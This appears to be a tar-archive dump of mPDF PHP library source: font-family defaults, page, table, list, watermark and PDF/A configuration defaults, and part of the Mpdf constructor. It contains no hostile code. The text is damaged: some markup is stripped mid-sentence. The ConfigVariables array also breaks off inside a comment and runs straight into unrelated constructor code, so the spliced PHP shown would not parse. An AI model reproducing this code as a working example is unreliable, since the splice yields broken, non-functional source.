($this->mpdf->PDFX || ($this->mpdf->PDFA && $this->mode == 3)) { if (($this->mpdf->PDFA && !$this->mpdf->PDFAauto) || ($this->mpdf->PDFX && !$this->mpdf->PDFXauto)) { $PDFAXwarnings[] = "CMYK color with transparency specified '" . $color . "' (converted to CMYK without transparency)"; } $c = $this->colorModeConverter->cmyk2rgb($c); $c = [3, $c[1], $c[2], $c[3]]; } elseif ($this->mode == 1) { $c = $this->colorModeConverter->cmyk2gray($c); } elseif ($this->mode == 2) { $c = $this->colorModeConverter->cmyk2rgb($c); } return $c; } } vendor/mpdf/mpdf/src/Config/FontVariables.php000064400000024750147600022140015165 0ustar00defaults = [ // Specify which font metrics to use: // - 'winTypo uses sTypoAscender etc from the OS/2 table and is the one usually recommended - BUT // - 'win' use WinAscent etc from OS/2 and inpractice seems to be used more commonly in Windows environment // - 'mac' uses Ascender etc from hhea table, and is used on Mac/OSX environment 'fontDescriptor' => 'win', // For custom fonts data folder set config key 'fontDir'. It can also be an array of directories, // first found file will then be returned // Optionally set font(s) (names as defined below in 'fontdata') to use for missing characters // when using useSubstitutions. Use a font with wide coverage - dejavusanscondensed is a good start // only works using subsets (otherwise would add very large file) // More than 1 font can be specified but each will add to the processing time of the script 'backupSubsFont' => ['dejavusanscondensed', 'freesans', 'sun-exta'], // Optionally set a font (name as defined below in 'fontdata') to use for CJK characters // in Plane 2 Unicode (> U+20000) when using useSubstitutions. // Use a font like hannomb or sun-extb if available // only works using subsets (otherwise would add very large file) 'backupSIPFont' => 'sun-extb', /* This array defines translations from font-family in CSS or HTML to the internal font-family name used in mPDF. Can include as many as want, regardless of which fonts are installed. By default mPDF will take a CSS/HTML font-family and remove spaces and change to lowercase e.g. "Times New Roman" will be recognised as "timesnewroman" You only need to define additional translations. You can also use it to define specific substitutions e.g. 'helvetica' => 'arial' Generic substitutions (i.e. to a sans-serif or serif font) are set by including the font-family in e.g. 'sans_fonts' below */ 'fonttrans' => [ 'times' => 'timesnewroman', 'courier' => 'couriernew', 'trebuchet' => 'trebuchetms', 'comic' => 'comicsansms', 'franklin' => 'franklingothicbook', 'ocr-b' => 'ocrb', 'ocr-b10bt' => 'ocrb', 'damase' => 'mph2bdamase', ], /* This array lists the file names of the TrueType .ttf or .otf font files for each variant of the (internal mPDF) font-family name. ['R'] = Regular (Normal), others are Bold, Italic, and Bold-Italic Each entry must contain an ['R'] entry, but others are optional. Only the font (files) entered here will be available to use in mPDF. Put preferred default first in order This will be used if a named font cannot be found in any of 'sans_fonts', 'serif_fonts' or 'mono_fonts' ['sip-ext'] = 'sun-extb', name a related font file containing SIP characters ['useOTL'] => 0xFF, Enable use of OTL features. ['useKashida'] => 75, Enable use of kashida for text justification in Arabic text If a .ttc TrueType collection file is referenced, the number of the font within the collection is required. Fonts in the collection are numbered starting at 1, as they appear in the .ttc file e.g. "cambria" => array( 'R' => "cambria.ttc", 'B' => "cambriab.ttf", 'I' => "cambriai.ttf", 'BI' => "cambriaz.ttf", 'TTCfontID' => array( 'R' => 1, ), ), "cambriamath" => array( 'R' => "cambria.ttc", 'TTCfontID' => array( 'R' => 2, ), ), */ 'fontdata' => [ "dejavusanscondensed" => [ 'R' => "DejaVuSansCondensed.ttf", 'B' => "DejaVuSansCondensed-Bold.ttf", 'I' => "DejaVuSansCondensed-Oblique.ttf", 'BI' => "DejaVuSansCondensed-BoldOblique.ttf", 'useOTL' => 0xFF, 'useKashida' => 75, ], "dejavusans" => [ 'R' => "DejaVuSans.ttf", 'B' => "DejaVuSans-Bold.ttf", 'I' => "DejaVuSans-Oblique.ttf", 'BI' => "DejaVuSans-BoldOblique.ttf", 'useOTL' => 0xFF, 'useKashida' => 75, ], "dejavuserif" => [ 'R' => "DejaVuSerif.ttf", 'B' => "DejaVuSerif-Bold.ttf", 'I' => "DejaVuSerif-Italic.ttf", 'BI' => "DejaVuSerif-BoldItalic.ttf", ], "dejavuserifcondensed" => [ 'R' => "DejaVuSerifCondensed.ttf", 'B' => "DejaVuSerifCondensed-Bold.ttf", 'I' => "DejaVuSerifCondensed-Italic.ttf", 'BI' => "DejaVuSerifCondensed-BoldItalic.ttf", ], "dejavusansmono" => [ 'R' => "DejaVuSansMono.ttf", 'B' => "DejaVuSansMono-Bold.ttf", 'I' => "DejaVuSansMono-Oblique.ttf", 'BI' => "DejaVuSansMono-BoldOblique.ttf", 'useOTL' => 0xFF, 'useKashida' => 75, ], "freesans" => [ 'R' => "FreeSans.ttf", 'B' => "FreeSansBold.ttf", 'I' => "FreeSansOblique.ttf", 'BI' => "FreeSansBoldOblique.ttf", 'useOTL' => 0xFF, ], "freeserif" => [ 'R' => "FreeSerif.ttf", 'B' => "FreeSerifBold.ttf", 'I' => "FreeSerifItalic.ttf", 'BI' => "FreeSerifBoldItalic.ttf", 'useOTL' => 0xFF, 'useKashida' => 75, ], "freemono" => [ 'R' => "FreeMono.ttf", 'B' => "FreeMonoBold.ttf", 'I' => "FreeMonoOblique.ttf", 'BI' => "FreeMonoBoldOblique.ttf", ], /* OCR-B font for Barcodes */ "ocrb" => [ 'R' => "ocrb10.ttf", ], /* Miscellaneous language font(s) */ "estrangeloedessa" => [/* Syriac */ 'R' => "SyrCOMEdessa.otf", 'useOTL' => 0xFF, ], "kaputaunicode" => [/* Sinhala */ 'R' => "kaputaunicode.ttf", 'useOTL' => 0xFF, ], "abyssinicasil" => [/* Ethiopic */ 'R' => "Abyssinica_SIL.ttf", 'useOTL' => 0xFF, ], "aboriginalsans" => [/* Cherokee and Canadian */ 'R' => "AboriginalSansREGULAR.ttf", ], "jomolhari" => [/* Tibetan */ 'R' => "Jomolhari.ttf", 'useOTL' => 0xFF, ], "sundaneseunicode" => [/* Sundanese */ 'R' => "SundaneseUnicode-1.0.5.ttf", 'useOTL' => 0xFF, ], "taiheritagepro" => [/* Tai Viet */ 'R' => "TaiHeritagePro.ttf", ], "aegean" => [ 'R' => "Aegean.otf", 'useOTL' => 0xFF, ], "aegyptus" => [ 'R' => "Aegyptus.otf", 'useOTL' => 0xFF, ], "akkadian" => [/* Cuneiform */ 'R' => "Akkadian.otf", 'useOTL' => 0xFF, ], "quivira" => [ 'R' => "Quivira.otf", 'useOTL' => 0xFF, ], "eeyekunicode" => [/* Meetei Mayek */ 'R' => "Eeyek.ttf", ], "lannaalif" => [/* Tai Tham */ 'R' => "lannaalif-v1-03.ttf", 'useOTL' => 0xFF, ], "daibannasilbook" => [/* New Tai Lue */ 'R' => "DBSILBR.ttf", ], "garuda" => [/* Thai */ 'R' => "Garuda.ttf", 'B' => "Garuda-Bold.ttf", 'I' => "Garuda-Oblique.ttf", 'BI' => "Garuda-BoldOblique.ttf", 'useOTL' => 0xFF, ], "khmeros" => [/* Khmer */ 'R' => "KhmerOS.ttf", 'useOTL' => 0xFF, ], "dhyana" => [/* Lao fonts */ 'R' => "Dhyana-Regular.ttf", 'B' => "Dhyana-Bold.ttf", 'useOTL' => 0xFF, ], "tharlon" => [/* Myanmar / Burmese */ 'R' => "Tharlon-Regular.ttf", 'useOTL' => 0xFF, ], "padaukbook" => [/* Myanmar / Burmese */ 'R' => "Padauk-book.ttf", 'useOTL' => 0xFF, ], "zawgyi-one" => [/* Myanmar / Burmese */ 'R' => "ZawgyiOne.ttf", 'useOTL' => 0xFF, ], "ayar" => [/* Myanmar / Burmese */ 'R' => "ayar.ttf", 'useOTL' => 0xFF, ], "taameydavidclm" => [/* Hebrew with full Niqud and Cantillation */ 'R' => "TaameyDavidCLM-Medium.ttf", 'useOTL' => 0xFF, ], /* SMP */ "mph2bdamase" => [ 'R' => "damase_v.2.ttf", ], /* Indic */ "lohitkannada" => [ 'R' => "Lohit-Kannada.ttf", 'useOTL' => 0xFF, ], "pothana2000" => [ 'R' => "Pothana2000.ttf", 'useOTL' => 0xFF, ], /* Arabic fonts */ "xbriyaz" => [ 'R' => "XB Riyaz.ttf", 'B' => "XB RiyazBd.ttf", 'I' => "XB RiyazIt.ttf", 'BI' => "XB RiyazBdIt.ttf", 'useOTL' => 0xFF, 'useKashida' => 75, ], "lateef" => [/* Sindhi, Pashto and Urdu */ 'R' => "LateefRegOT.ttf", 'useOTL' => 0xFF, 'useKashida' => 75, ], "kfgqpcuthmantahanaskh" => [/* KFGQPC Uthman Taha Naskh - Koranic */ 'R' => "Uthman.otf", 'useOTL' => 0xFF, 'useKashida' => 75, ], /* CJK fonts */ "sun-exta" => [ 'R' => "Sun-ExtA.ttf", 'sip-ext' => 'sun-extb', /* SIP=Plane2 Unicode (extension B) */ ], "sun-extb" => [ 'R' => "Sun-ExtB.ttf", ], "unbatang" => [/* Korean */ 'R' => "UnBatang_0613.ttf", ], ], // Add fonts to this array if they contain characters in the SIP or SMP Unicode planes // but you do not require them. This allows a more efficient form of subsetting to be used. 'BMPonly' => [ "dejavusanscondensed", "dejavusans", "dejavuserifcondensed", "dejavuserif", "dejavusansmono", ], // These next 3 arrays do two things: // 1. If a font referred to in HTML/CSS is not available to mPDF, these arrays will determine whether // a serif/sans-serif or monospace font is substituted // 2. The first font in each array will be the font which is substituted in circumstances as above // (Otherwise the order is irrelevant) // Use the mPDF font-family names i.e. lowercase and no spaces (after any translations in $fonttrans) // Always include "sans-serif", "serif" and "monospace" etc. 'sans_fonts' => ['dejavusanscondensed', 'sans', 'sans-serif', 'cursive', 'fantasy', 'dejavusans', 'freesans', 'liberationsans', 'arial', 'helvetica', 'verdana', 'geneva', 'lucida', 'arialnarrow', 'arialblack', 'franklin', 'franklingothicbook', 'tahoma', 'garuda', 'calibri', 'trebuchet', 'lucidagrande', 'microsoftsansserif', 'trebuchetms', 'lucidasansunicode', 'franklingothicmedium', 'albertusmedium', 'xbriyaz', 'albasuper', 'quillscript', 'humanist777', 'humanist777black', 'humanist777light', 'futura', 'hobo', 'segoeprint' ], 'serif_fonts' => ['dejavuserifcondensed', 'serif', 'dejavuserif', 'freeserif', 'liberationserif', 'timesnewroman', 'times', 'centuryschoolbookl', 'palatinolinotype', 'centurygothic', 'bookmanoldstyle', 'bookantiqua', 'cyberbit', 'cambria', 'norasi', 'charis', 'palatino', 'constantia', 'georgia', 'albertus', 'xbzar', 'algerian', 'garamond', ], 'mono_fonts' => ['dejavusansmono', 'mono', 'monospace', 'freemono', 'liberationmono', 'courier', 'ocrb', 'ocr-b', 'lucidaconsole', 'couriernew', 'monotypecorsiva' ], ]; } public function getDefaults() { return $this->defaults; } } vendor/mpdf/mpdf/src/Config/ConfigVariables.php000064400000055117147600022140015465 0ustar00defaults = [ // PAGING 'mirrorMargins' => 0, 'forcePortraitMargins' => false, 'displayDefaultOrientation' => false, // Adds date and page info for printer when using @page and "marks:crop," 'printers_info' => false, 'bleedMargin' => 5, // Distance of cross mark from margin in mm 'crossMarkMargin' => 5, // Distance of crop mark from margin in mm 'cropMarkMargin' => 8, // Default length in mm of crop line 'cropMarkLength' => 18, // Non-printable border at edge of paper sheet in mm 'nonPrintMargin' => 8, // 'slice' or 'cloneall' or 'clonebycss' - for forced pagebreaks using // Automatic pagebreaks (flow in text) are always 'slice' 'defaultPagebreakType' => 'cloneall', // Avoid just the border/background-color of the end of a block being moved on to next page // Allows an (empty) end of block to extend beyond the bottom margin by this amount (mm) 'margBuffer' => 2, // PAGE NUMBERING 'pagenumPrefix' => '', 'pagenumSuffix' => '', 'nbpgPrefix' => '', 'nbpgSuffix' => '', // 1:Decimal, A:uppercase alphabetic etc. (as for list-style shorthands) 'defaultPageNumStyle' => '1', // PAGE NUMBER ALIASES 'aliasNbPg' => '{nb}', 'aliasNbPgGp' => '{nbpg}', // FONTS, LANGUAGES & CHARACTER SETS // Set maximum size of TTF font file to allow non-subsets - in kB // Used to avoid a font e.g. Arial Unicode MS (perhaps used for substitutions) ever being fully embedded // NB Free serif is 1.5MB, most files are <= 600kB (most 200-400KB) 'maxTTFFilesize' => 2000, // this value determines whether to subset or not // 0 - 100' => percent characters // i.e. if ==40, mPDF will embed whole font if >40% characters in that font // or embed subset if <40% characters // 0 will force whole file to be embedded (NO subsetting) // 100 will force always to subset // This value is overridden if you set new mPDF('s') // and/or Can set at runtime 'percentSubset' => 30, // Uses Adobe CJK fonts for CJK languages // default TRUE, only set false if you have defined some available fonts that support CJK // If true this will not stop use of other CJK fonts if specified by font-family: // and vice versa i.e. only dictates behaviour when specified by lang="" incl. AutoFont() 'useAdobeCJK' => false, // When embedding full TTF font files, remakes the font file using only core tables // May improve function with some PostScript printers (GhostScript/GSView) // Does not work with TTC font collections // Slightly smaller file, increased processing time 'repackageTTF' => false, // Allows automatic character set conversion if "charset=xxx" detected in html header (WriteHTML() ) 'allow_charset_conversion' => true, // Automatically determine BIDI text in LTR page 'biDirectional' => false, // AUTOMATIC FONT SELECTION // Based on script and/or language // mPDF 6.0 (similar to previously using function SetAutoFont() ) 'autoScriptToLang' => false, 'baseScript' => Ucdn::SCRIPT_LATIN, 'autoVietnamese' => true, 'autoArabic' => true, // mPDF 6.0 (similar to old useLang) 'autoLangToFont' => false, // Substitute missing characters in UTF-8(multibyte) documents - from other fonts 'useSubstitutions' => false, // Weight for bold text when using an artificial (outline) bold, value 0 (off) - 10 (rec. max) 'falseBoldWeight' => 5, // CONFIGURATION 'allow_output_buffering' => false, // Adding mPDFI functions 'enableImports' => false, // Allows top and bottom margins to collapse between block elements 'collapseBlockMargins' => true, // To interpret "px" pixel values in HTML/CSS (see img_dpi below) 'dpi' => 96, // Automatically correct for tags where HTML specifies optional end tags e.g. P,LI,DD,TD // If you are confident input html is valid XHTML, turning this off may make it more reliable(?) 'allow_html_optional_endtags' => true, 'ignore_invalid_utf8' => false, // Converts all entities in Text inputs to UTF-8 before encoding 'text_input_as_HTML' => false, // When writing a block element with position:fixed and overflow:auto, mPDF scales it down to fit in the space // by repeatedly rewriting it and making adjustments. These values give the adjustments used, depending how far out // the previous guess was. The lower the number, the quicker it will finish, but the less accurate the fit may be. // FPR1 is for coarse adjustments, and FPR4 for fine adjustments when it is getting closer. 'incrementFPR1' => 10, // i.e. will alter by 1/[10]th of width and try again until within closer limits 'incrementFPR2' => 20, 'incrementFPR3' => 30, 'incrementFPR4' => 50, // i.e. will alter by 1/[50]th of width and try again when it nearly fits // COLORSPACE // 1 - allow GRAYSCALE only [convert CMYK/RGB->gray] // 2 - allow RGB / SPOT COLOR / Grayscale [convert CMYK->RGB] // 3 - allow CMYK / SPOT COLOR / Grayscale [convert RGB->CMYK] 'restrictColorSpace' => 0, // PDFX/1-a Compliant files // true=Forces compliance with PDFX-1a spec // Cannot be used with 'restrictColorSpace' (i.e. no RGB) 'PDFX' => false, // Overrides warnings making changes when possible to force PDFX1-a compliance 'PDFXauto' => false, // PDFA1-b Compliant files // true=Forces compliance with PDFA-1b spec // Can use with 'restrictColorSpace'=3 (for a CMYK file) // Any other settings, uses RGB profile 'PDFA' => false, // Overrides warnings making changes when possible to force PDFA1-b compliance 'PDFAauto' => false, // Colour profile OutputIntent // sRGB_IEC61966-2-1 (=default if blank and PDFA), or other added .icc profile // Must be CMYK for PDFX, or appropriate type for PDFA(RGB or CMYK) 'ICCProfile' => '', 'spotColors' => [], 'spotColorIDs' => [], // DEBUGGING & DEVELOPERS 'debug' => false, // Checks and reports on errors when parsing TTF files - adds significantly to processing time 'debugfonts' => false, 'showImageErrors' => false, // Die and report error if table is too wide to contain whole words 'table_error_report' => false, // Parameter which can be passed to show in error report i.e. chapter number being processed 'table_error_report_param' => '', 'title2annots' => false, // Automatically convert title="" properties in tags, to annotations 'annotSize' => 0.5, // default mm for Adobe annotations - nominal 'annotMargin' => null, // default position for Annotations 'annotOpacity' => 0.5, // default opacity for Annotations // BOOKMARKS // makes into a bookmark as well as internal link target, 1' => just name, 2' => name (p.34) // Set an optional array to specify appearance of Bookmarks (by level) // Default values are Black and normal style 'anchor2Bookmark' => 0, /* Example: 'bookmarkStyles' => array( 0 => array('color'=> array(0,64,128), 'style'=>'B'), 1 => array('color'=> array(128,0,0), 'style'=>''), 2 => array('color'=> array(0,128,0), 'style'=>'I'), ), */ 'bookmarkStyles' => [], // Specify whether to automatically generate bookmarks from h1 - h6 tags /* Define arrays with e.g. the tag=>Bookmark-level Remember bookmark levels start at 0 (does not work inside tables) H1 - H6 must be uppercase 'h2bookmarks' => array('H1'=>0, 'H2'=>1, 'H3'=>2), */ 'h2bookmarks' => [], // TABLE OF CONTENTS // Specify whether to automatically generate ToC entries from h1 - h6 tags /* Define arrays with e.g. the tag=>ToC-level Remember ToC levels start at 0 (does not work inside tables) Only the default ToC will be used if > 1 ToCs are defined for the document H1 - H6 must be uppercase 'h2toc' => array('H1'=>0, 'H2'=>1, 'H3'=>2), */ 'h2toc' => [], // INDEX /* Specifies whether to repeat the main entry for each subEntry (true suppresses this) e.g. Mammal:dog ... Mammal:elephant -> [true] Mammal - dog - elephant [false] Mammal, dog Mammal, elephant */ 'indexUseSubentries' => true, // CSS & STYLES // screen, print, or any other CSS @media type (except "all") 'CSSselectMedia' => 'print', // PAGE HEADERS & FOOTERS 'forcePortraitHeaders' => false, // Values used if simple FOOTER/HEADER given i.e. not array 'defaultheaderfontsize' => 8, // pt 'defaultheaderfontstyle' => 'BI', // '', or 'B' or 'I' or 'BI' 'defaultheaderline' => 1, // 1 or 0 - line under the header 'defaultfooterfontsize' => 8, // pt 'defaultfooterfontstyle' => 'BI', // '', or 'B' or 'I' or 'BI' 'defaultfooterline' => 1, // 1 or 0 - line over the footer // spacing between bottom of header and line (if present) - function of fontsize 'header_line_spacing' => 0.25, // spacing between bottom of header and line (if present) - function of fontsize 'footer_line_spacing' => 0.25, // If 'pad' margin-top sets fixed distance in mm (padding) between bottom of header and top of text. // If 'stretch' margin-top sets a minimum distance in mm between top of page and top of text, which expands if header is too large to fit. 'setAutoTopMargin' => false, 'setAutoBottomMargin' => false, // distance in mm used as padding if 'stretch' mode is used 'autoMarginPadding' => 2, // TABLES // Forces all cells to have same border, background etc. Improves performance 'simpleTables' => false, // Reduce memory usage processing tables (but with increased processing time) 'packTableData' => false, 'ignore_table_percents' => false, 'ignore_table_widths' => false, // If table width set > page width, force resizing but keep relative sizes // Also forces respect of cell widths set by % 'keep_table_proportions' => true, // automatically reduce fontsize in table if words would have to split ( not in CJK) // 0 or false to disable, value (if set) gives maximum factor to reduce fontsize 'shrink_tables_to_fit' => 1.4, // If page-break-inside:avoid but cannot fit on full page without // exceeding autosize, setting this value to true will force respect for autosize, and disable the page-break-inside:avoid 'tableMinSizePriority' => false, // "Keep-with-table" Attempts to keep a

to

tagged heading together with a table which comes immediately after it. 'use_kwt' => false, // Set to TRUE to use table Head iteration counter 'iterationCounter' => false, // Use table border (using this width in mm) when table breaks across pages // Recommended to use small value e.g. 0.01 'splitTableBorderWidth' => 0, // Allowed characters for text alignment on decimal marks. Additional codes must start with D // DM - middot U+00B7 // DA - arabic decimal mark U+066B 'decimal_align' => ['DP' => '.', 'DC' => ',', 'DM' => "\xc2\xb7", 'DA' => "\xd9\xab", 'DD' => '-'], // IMAGES // if image-rendering=='auto', this defines value for image-rendering // if true, image interpolation shall be performed by a conforming reader 'interpolateImages' => false, // Default dpi to output images if size not defined // See also above "dpi" 'img_dpi' => 96, // Specify whitelisted PHP streams to be used for images // Useful to add custom streams like `s3` // Note: for security reasons the `phar` stream cannot be used @see https://github.com/mpdf/mpdf/issues/949 'whitelistStreamWrappers' => ['http', 'https', 'file'], // TEXT SPACING & JUSTIFICATION // Specify whether kerning should be used when CSS font-kerning="auto" used for HTML, // Also whether kerning should be used in any direct writing e.g. $mpdf->Text(), 'useKerning' => false, // In justified text,
does not cause the preceding text to be justified in browsers // Change to true to force justification (as in MS Word) 'justifyB4br' => false, // Number of spaces to replace for a TAB in
 sections
			// Notepad uses 6, HTML specification recommends 8
			'tabSpaces' => 8,
			// Proportion (/1) of space (when justifying margins) to allocate to Word vs. Character
			'jSWord' => 0.4,
			// Maximum spacing to allocate to character spacing. (0' => no maximum)
			'jSmaxChar' => 2,

			// Maximum character spacing allowed (carried over) when finishing a last line
			'jSmaxCharLast' => 1,
			// Maximum word spacing allowed (carried over) when finishing a last line
			'jSmaxWordLast' => 2,

			// LINE SPACING & TEXT BASELINE
			// Use the fixed factor ('normalLineheight') when line-height:normal
			// Compatible with mPDF versions < 6
			'useFixedNormalLineHeight' => false,

			// Use a fixed ratio ('baselineC') to set the text baseline
			// Compatible with mPDF versions < 6
			'useFixedTextBaseline' => false,

			// Default Value used for line-height when CSS specified as 'normal' (default)
			'normalLineheight' => 1.33,

			// Correction factor applied to lineheight values derived from 'win', 'mac', 'winTypo'
			'adjustFontDescLineheight' => 1.14,

			// Small Caps
			// Factor of 1 to scale capital letters
			'smCapsScale' => 0.75,
			// % to stretch small caps horizontally (i.e. 100' => no stretch)
			'smCapsStretch' => 110,

			// Line-breaking
			// The alternative to these next 2 is the use of U+200B Zero-width space
			// These are only effective if using OTL for the fonts
			// Use the dictionaries to determine line-breaking in Lao, Khmer and Thai
			'useDictionaryLBR' => true,
			// Use the inbuilt algorithm to determine line-breaking in Tibetan
			'useTibetanLBR' => true,

			// CJK Line-breaking
			// FALSE=always wrap to next line, TRUE=squeeze or overflow
			'allowCJKorphans' => true,
			// FALSE=squeeze, TRUE=overflow (only some characters, and disabled in tables)
			'allowCJKoverflow' => false,
			// Forces overflowng punctuation to hang outside right margin mPDF 5.6.40
			'CJKforceend' => false,

			// COLUMNS
			'keepColumns' => false, // Set to go to the second column only when the first is full of text etc.
			'max_colH_correction' => 1.15, // Maximum ratio to adjust column height when justifying - too large a value can give ugly results
			'ColGap' => 5,

			// LISTS
			// mPDF 6
			// 'mpdf' or 'browser' - Specify whether to use mPDF custom method of automatic
			'list_auto_mode' => 'browser',
			// indentation of lists, or standard browser-compatible
			// custom mPDF method is ignored if list-style-position: inside, or image used for marker (or custom U+)
			// List Indentation when set to 'auto' if using standard browser-compatible method
			'list_indent_default' => '40px',
			// List Indentation when set to 'auto' if using mPDF custom method
			'list_indent_default_mpdf' => '0em',
			// 1/0 yes/no to indent first level of list, if using mPDF custom method
			'list_indent_first_level' => 0,

			// Content to follow a numbered list marker e.g. '.' gives 1. or IV., ')' gives 1) or a)
			'list_number_suffix' => '.',

			// To specify a bullet size and offset proportional to the list item's font size:
			// Browsers use a fixed bullet size and offset
			// Offset (CSS length) of list marker bullets (disc/circle/square)
			'list_marker_offset' => '5.5pt',
			// Size (CSS) of list marker bullets (disc/circle/square)
			'list_symbol_size' => '3.6pt',

			// Hyphenation
			'SHYlanguages' => ['en', 'de', 'es', 'fi', 'fr', 'it', 'nl', 'pl', 'ru', 'sv'], // existing defined patterns
			'SHYlang' => "en", // 'en','de','es','fi','fr','it','nl','pl','ru','sv'
			'SHYleftmin' => 2,
			'SHYrightmin' => 2,
			'SHYcharmin' => 2,
			'SHYcharmax' => 10,

			// ACTIVE FORMS
			'useActiveForms' => false,

			// WATERMARKS
			'watermarkImgBehind' => false,
			'showWatermarkText' => 0,
			'showWatermarkImage' => 0,
			'watermarkText' => '',
			'watermarkAngle' => 45,
			'watermarkImage' => '',
			'watermark_font' => '',
			'watermarkTextAlpha' => 0.2,
			'watermarkImageAlpha' => 0.2,

			// Accepts any PDF spec. value: Normal, Multiply, Screen, Overlay, Darken, Lighten, ColorDodge, ColorBurn, HardLight, SoftLight, Difference, Exclusion
			// "Multiply" works well for watermark image on top
			'watermarkImgAlphaBlend' => 'Normal',

			// BORDERS
			'autoPadding' => false, // Automatically increases padding in block elements when border-radius set - if required

			// SVG

			// If you wish to use Automatic Font selection within SVG's. change this definition to true.
			// This selects different fonts for different scripts used in text.
			// This can be enabled/disabled independently of the use of Automatic Font selection within mPDF generally.
			// Choice of font is determined by the LangToFont and ScriptToLang classes, the same as for mPDF generally.
			'svgAutoFont' => false,

			// Enable a limited use of classes within SVG  elements by setting this to true.
			// This allows recognition of a "class" attribute on a  element.
			// The CSS style for that class should be outside the SVG, and cannot use any other selectors (i.e. only .class {} can be defined)
			// ');
		} else {
			throw new \Mpdf\MpdfException(sprintf('Unable to read default CSS file "%s"', $this->defaultCssFile));
		}

		if ($default_font == '') {
			if ($this->onlyCoreFonts) {
				if (in_array(strtolower($this->defaultCSS['BODY']['FONT-FAMILY']), $this->mono_fonts)) {
					$default_font = 'ccourier';
				} elseif (in_array(strtolower($this->defaultCSS['BODY']['FONT-FAMILY']), $this->sans_fonts)) {
					$default_font = 'chelvetica';
				} else {
					$default_font = 'ctimes';
				}
			} else {
				$default_font = $this->defaultCSS['BODY']['FONT-FAMILY'];
			}
		}
		if (!$default_font_size) {
			$mmsize = $this->sizeConverter->convert($this->defaultCSS['BODY']['FONT-SIZE']);
			$default_font_size = $mmsize * (Mpdf::SCALE);
		}

		if ($default_font) {
			$this->SetDefaultFont($default_font);
		}
		if ($default_font_size) {
			$this->SetDefaultFontSize($default_font_size);
		}

		$this->SetLineHeight(); // lineheight is in mm

		$this->SetFColor($this->colorConverter->convert(255, $this->PDFAXwarnings));
		$this->HREF = '';
		$this->oldy = -1;
		$this->B = 0;
		$this->I = 0;

		// mPDF 6  Lists
		$this->listlvl = 0;
		$this->listtype = [];
		$this->listitem = [];
		$this->listcounter = [];

		$this->tdbegin = false;
		$this->table = [];
		$this->cell = [];
		$this->col = -1;
		$this->row = -1;
		$this->cellBorderBuffer = [];

		$this->divbegin = false;
		// mPDF 6
		$this->cellTextAlign = '';
		$this->cellLineHeight = '';
		$this->cellLineStackingStrategy = '';
		$this->cellLineStackingShift = '';

		$this->divwidth = 0;
		$this->divheight = 0;
		$this->spanbgcolor = false;
		$this->spanborder = false;
		$this->spanborddet = [];

		$this->blockjustfinished = false;
		$this->ignorefollowingspaces = true; // in order to eliminate exceeding left-side spaces
		$this->dash_on = false;
		$this->dotted_on = false;
		$this->textshadow = '';

		$this->currentfontfamily = '';
		$this->currentfontsize = '';
		$this->currentfontstyle = '';
		$this->colorarray = ''; // mPDF 6
		$this->spanbgcolorarray = ''; // mPDF 6
		$this->textbuffer = [];
		$this->internallink = [];
		$this->basepath = "";

		$this->SetBasePath('');

		$this->textparam = [];

		$this->specialcontent = '';
		$this->selectoption = [];
	}

	public function cleanup()
	{
		mb_internal_encoding($this->originalMbEnc);
		@mb_regex_encoding($this->originalMbRegexEnc);
	}

	/**
	 * @param \Psr\Log\LoggerInterface
	 *
	 * @return \Mpdf\Mpdf
	 */
	public function setLogger(LoggerInterface $logger)
	{
		$this->logger = $logger;

		foreach ($this->services as $name) {
			if ($this->$name && $this->$name instanceof \Psr\Log\LoggerAwareInterface) {
				$this->$name->setLogger($logger);
			}
		}

		return $this;
	}

	private function initConfig(array $config)
	{
		$configObject = new ConfigVariables();
		$defaults = $configObject->getDefaults();
		$config = array_intersect_key($config + $defaults, $defaults);

		foreach ($config as $var => $val) {
			$this->{$var} = $val;
		}

		return $config;
	}

	private function initConstructorParams(array $config)
	{
		$constructor = [
			'mode' => '',
			'format' => 'A4',
			'default_font_size' => 0,
			'default_font' => '',
			'margin_left' => 15,
			'margin_right' => 15,
			'margin_top' => 16,
			'margin_bottom' => 16,
			'margin_header' => 9,
			'margin_footer' => 9,
			'orientation' => 'P',
		];

		foreach ($constructor as $key => $val) {
			if (isset($config[$key])) {
				$constructor[$key] = $config[$key];
			}
		}

		return array_values($constructor);
	}

	private function initFontConfig(array $config)
	{
		$configObject = new FontVariables();
		$defaults = $configObject->getDefaults();
		$config = array_intersect_key($config + $defaults, $defaults);
		foreach ($config as $var => $val) {
			$this->{$var} = $val;
		}

		return $config;
	}

	function _setPageSize($format, &$orientation)
	{
		if (is_string($format)) {

			if (empty($format)) {
				$format = 'A4';
			}

			// e.g. A4-L = A4 landscape, A4-P = A4 portrait
			if (preg_match('/([0-9a-zA-Z]*)-([P,L])/i', $format, $m)) {
				$format = $m[1];
				$orientation = $m[2];
			} elseif (empty($orientation)) {
				$orientation = 'P';
			}

			$format = PageFormat::getSizeFromName($format);

			$this->fwPt = $format[0];
			$this->fhPt = $format[1];

		} else {

			if (!$format[0] || !$format[1]) {
				throw new \Mpdf\MpdfException('Invalid page format: ' . $format[0] . ' ' . $format[1]);
			}

			$this->fwPt = $format[0] * Mpdf::SCALE;
			$this->fhPt = $format[1] * Mpdf::SCALE;
		}

		$this->fw = $this->fwPt / Mpdf::SCALE;
		$this->fh = $this->fhPt / Mpdf::SCALE;

		// Page orientation
		$orientation = strtolower($orientation);
		if ($orientation === 'p' || $orientation == 'portrait') {
			$orientation = 'P';
			$this->wPt = $this->fwPt;
			$this->hPt = $this->fhPt;
		} elseif ($orientation === 'l' || $orientation == 'landscape') {
			$orientation = 'L';
			$this->wPt = $this->fhPt;
			$this->hPt = $this->fwPt;
		} else {
			throw new \Mpdf\MpdfException('Incorrect orientation: ' . $orientation);
		}

		$this->CurOrientation = $orientation;

		$this->w = $this->wPt / Mpdf::SCALE;
		$this->h = $this->hPt / Mpdf::SCALE;
	}

	function RestrictUnicodeFonts($res)
	{
		// $res = array of (Unicode) fonts to restrict to: e.g. norasi|norasiB - language specific
		if (count($res)) { // Leave full list of available fonts if passed blank array
			$this->available_unifonts = $res;
		} else {
			$this->available_unifonts = $this->default_available_fonts;
		}
		if (count($this->available_unifonts) == 0) {
			$this->available_unifonts[] = $this->default_available_fonts[0];
		}
		$this->available_unifonts = array_values($this->available_unifonts);
	}

	function setMBencoding($enc)
	{
		if ($this->mb_enc != $enc) {
			$this->mb_enc = $enc;
			mb_internal_encoding($this->mb_enc);
		}
	}

	function SetMargins($left, $right, $top)
	{
		// Set left, top and right margins
		$this->lMargin = $left;
		$this->rMargin = $right;
		$this->tMargin = $top;
	}

	function ResetMargins()
	{
		// ReSet left, top margins
		if (($this->forcePortraitHeaders || $this->forcePortraitMargins) && $this->DefOrientation == 'P' && $this->CurOrientation == 'L') {
